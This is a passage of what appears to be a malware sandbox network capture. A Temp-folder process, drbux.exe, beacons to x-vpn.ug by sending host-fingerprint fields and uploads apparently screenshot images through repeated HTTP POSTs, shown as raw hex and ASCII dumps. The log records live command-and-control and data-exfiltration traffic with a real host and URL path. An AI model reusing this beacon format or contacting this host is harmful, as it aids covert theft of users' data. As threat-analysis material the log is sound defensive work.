Jul 19, 2021 18:36:31.562187910 CEST	17102	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:31.562221050 CEST	17114	OUT	Data Raw: ce 72 a2 bc df 65 3b ec 57 b1 a9 cc 9b 92 67 47 6b 6b 08 b7 bd 02 fe dc e6 10 09 0b 27 1f bc 4e 4f cb fe 73 56 bc 3f 6f 14 7a e5 bb 2d ec 12 11 bb e4 45 7c 9f 94 fa a8 15 87 1f 8d be 1b 44 93 20 f1 15 c6 25 4d 8d 9b 69 7a 6e 0d c7 ee bd 40 a9 2c Data Ascii: re;WgGkk'NOsV?oz-E\|D %Mizn@,\|y;E;:g GcXy~3?XSj,omd-/'pyMzQ&(p5h8_IfK_?i7jO8tD[&dkA;\|?
Jul 19, 2021 18:36:31.562248945 CEST	17121	OUT	Data Raw: 7e 95 c9 35 d4 8d d4 d4 66 47 cf 5a a5 85 ee ca f6 93 e8 75 8f ac db 27 40 4d 57 7f 10 01 f7 10 7e 35 cd ee 27 a9 34 95 6b 0d 05 b8 9d 49 f7 36 e4 f1 04 ed 9c 10 2a ab ea d7 0f ff 00 2d 1a b3 e9 6a d5 28 2d 91 0d b7 bb 27 6b b9 5f ab 9a 8c c8 c7 Data Ascii: ~5fGZu'@MW~5'4kI6*-j(-'k_4RQH"E9"xO_VUteux/h&TY0 u$z ZZ{{$/52ylcG6cAXi=MdFf/c160n,skGto
Jul 19, 2021 18:36:31.747456074 CEST	17148	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.6	49975	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:31.629483938 CEST	17140	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:31.711971045 CEST	17147	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.6	49976	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:31.909343958 CEST	17149	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:31.988579035 CEST	17149	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:32.393799067 CEST	17149	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:32.393980026 CEST	17150	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:32.394146919 CEST	17160	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:32.394257069 CEST	17162	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:32.473078966 CEST	17168	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:32.474029064 CEST	17171	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:32.474780083 CEST	17176	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:32.476017952 CEST	17181	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:32.476977110 CEST	17187	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:32.477003098 CEST	17190	OUT	Data Raw: 12 c7 03 4e 14 cc d3 81 aa 25 8f a2 9b 45 51 23 c1 a7 83 51 83 4a 0d 3b 89 a2 4e f4 ea 60 a5 06 ad 10 3c 52 83 cd 34 1a 52 69 8a c4 80 d3 b3 9a 8f 75 28 35 48 96 87 e6 94 1a 6e 68 aa 26 c4 80 d3 b3 51 8a 75 34 c9 68 7e 69 d9 a8 f3 4a 0f bd 55 c9 Data Ascii: N%EQ#QJ;N`<R4Riu(5Hnh&Qu4h~iJU 4j i%\34g4L"Q)!E\"sPNKL374D584hIq@j4n\uAu"yKwN\J_2iY7Z+dSS;IHK
Jul 19, 2021 18:36:32.551151037 CEST	17200	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(
Jul 19, 2021 18:36:32.720782042 CEST	17247	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Jul 19, 2021 18:36:32.761984110 CEST	17250	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:32.852468014 CEST	17250	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.6	49977	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:32.565989971 CEST	17243	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:32.651173115 CEST	17247	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	49759	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:31.692233086 CEST	3069	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:31.692473888 CEST	3070	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:31.692645073 CEST	3071	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:31.692682028 CEST	3080	OUT	Data Raw: 52 18 52 52 d2 52 18 94 94 e3 4d 34 31 85 14 51 48 04 a2 96 83 40 c4 a2 93 bd 2d 20 12 96 8a 28 00 a2 8a 28 00 a2 8a 28 00 a5 a4 a2 80 16 8a 28 a6 20 a2 8e d4 50 01 45 14 53 00 a2 8a 29 00 52 52 d0 69 00 94 51 45 03 10 d2 52 e2 92 81 8a 69 28 a2 Data Ascii: RRRRM41QH@- (((( PES)RRiQERi((((QI@EPAKEQE(RZ.+$ce(y#s]%;NGp+MU;c)'BI{&5)^1yTSQ\vY
Jul 19, 2021 18:35:31.692804098 CEST	3082	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:31.776000023 CEST	3083	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:31.776406050 CEST	3086	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:31.776674032 CEST	3088	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:31.776789904 CEST	3091	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:31.776928902 CEST	3094	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:31.777045965 CEST	3096	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:31.777198076 CEST	3099	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.6	49979	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:33.014432907 CEST	17252	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:33.014456987 CEST	17252	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:33.014781952 CEST	17262	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:33.015045881 CEST	17265	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:33.099606037 CEST	17274	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:33.099790096 CEST	17276	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
